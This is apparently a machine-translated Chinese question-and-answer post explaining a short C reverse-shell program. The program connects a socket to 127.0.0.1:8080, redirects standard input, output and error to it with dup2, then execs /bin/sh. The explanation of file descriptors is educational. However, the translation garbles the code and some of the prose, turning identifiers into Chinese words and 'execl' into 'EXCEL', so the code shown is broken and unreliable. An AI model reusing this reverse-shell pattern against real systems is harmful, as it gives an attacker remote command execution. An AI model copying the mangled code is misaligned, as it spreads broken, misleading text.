我遇到了这个反向shell代码,它是用c编写的
main(){
intsock=socket(AF_INET,sock_STREAM,0);
sock\u addr中的结构sockaddr\u;
sock\u addr.sin\u family=AF\u INET;
sock_addr.sin_port=htons(8080);
sock_addr.sin_addr.s_addr=inet_addr(“127.0.0.1”);
连接(sock,(struct sockaddr*)和sock_addr,sizeof(struct sockaddr_in));
dup2(袜子,标准文件号);
dup2(袜子,标准件号);
dup2(袜子,标准件号);
EXCEL(";/bin/sh";,空);
}
我想了解它,所以我告诉自己文件描述符,因为使用了dup2。现在的问题是我不明白为什么
socket的手册页让我假设stdin、stdout和stderr正在被socket取代
[…]成功调用返回的文件描述符将是编号最低的文件
当前未为进程打开描述符
这个假设是真的吗?如果是,为什么要重置默认流?这是因为下面的execl(";/bin/sh";,NULL)行,正如这个线程所暗示的那样
文件描述符
每个文件、插座、管道等。。。在进程中由一个称为文件描述符的数字唯一标识。
如果您创建一个新的文件描述符,您将获得进程中最低的未使用文件描述符编号,从0开始
每个文件的前3个文件描述符都有一个特殊的角色:
| FD | C常数 |
|---|---|
| 0 | 标准文件号 |
| 一, | 标准文件号 |
| 二, | 标准文件号 |
如果需要,您可以通过查询/proc,查看文件描述符(以及它们所指的内容),例如:
ls-l/proc/<;流程的pid>/fd
行政总裁;它的朋友
execve将当前进程替换为参数指定的新进程。
进程已打开的所有文件描述符都将保持打开状态,并且新进程可以使用它们
执行时标记为关闭的除外
你的程序做什么
程序启动后,您的文件描述符可能会如下所示:
0->/dev/pts/1
1->/dev/pts/1
2->/dev/pts/1
(仅正常标准输入、标准输出、标准输出,连接至正常端子)
然后分配一个套接字:
intsock=socket(AF\u INET,sock\u STREAM,0)
0->/dev/pts/1
1->/dev/pts/1
2->/dev/pts/1
3->;[插座:12345]
然后连接插座并连接到dup2。
dup2克隆一个文件描述符,并与dup不同,为其分配一个特定的文件描述符编号(如果该fd已在使用,则将首先关闭)
所以在dup2(sock,STDIN_FILENO)之后您的fd将如下所示:
0->;[插座:12345]
1->/dev/pts/1
2->/dev/pts/1
3->;[插座:12345]
因此,在执行前,fd应:
0->;[插座:12345]
1->;[插座:12345]
2->;[插座:12345]
3->;[插座:12345]
然后您的进程执行到/bin/sh,用shell替换当前进程
因此,现在您有了一个shell,它的输入和输出连接到您创建的套接字,有效地允许套接字另一端的程序发送任意shell命令,这些命令将由/bin/sh执行,并通过套接字返回输出
正如@JonathanLeffler在评论中指出的,FD3可以在执行官之前关闭,因为它不需要
为什么不使用dup而不是dup2
使用dup,如您所引用的,将为您提供流程中可用的最低fd
因此,可以执行以下操作:
关闭(标准文件号);
关闭(标准文件号);
关闭(标准文件号);
dup(sock);
dup(sock);
dup(sock);
关闭将关闭fd 0-2:
3->;[插座:12345]
dup会将fd 3复制到0-2(您总是得到最低的可用数字,即使这些数字是stdin、stdout或stderr)
0->;[插座:12345]
1->;[插座:12345]
2->;[插座:12345]
3->;[插座:12345]
但是,如果您有其他正在创建fd的线程,则这可能会出错(例如,在关闭stdin后,另一个线程可能正在创建新的fd,因此它将获得fd 0,而稍后的dup()将获得4)
这就是dup2()
dup2()系统调用执行与dup()相同的任务,但
它不使用编号最低的未使用文件描述符,而是
使用newfd中指定的文件描述符编号。换句话说
换句话说,文件描述符newfd被调整为
引用与oldfd相同的打开文件描述
还有dup3,除了dup2可以做的之外,它还允许您指定在执行时自动关闭fd的标志,例如O_CLOEXEC